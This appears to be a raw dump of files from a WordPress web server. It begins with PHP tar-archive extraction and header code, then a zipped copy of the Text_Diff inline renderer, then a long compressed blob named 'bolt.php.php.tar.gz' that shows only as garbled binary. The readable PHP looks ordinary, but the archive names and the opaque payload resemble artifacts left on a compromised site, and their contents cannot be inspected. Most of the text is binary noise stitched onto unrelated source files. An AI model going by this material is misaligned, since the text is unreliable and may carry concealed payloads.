			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
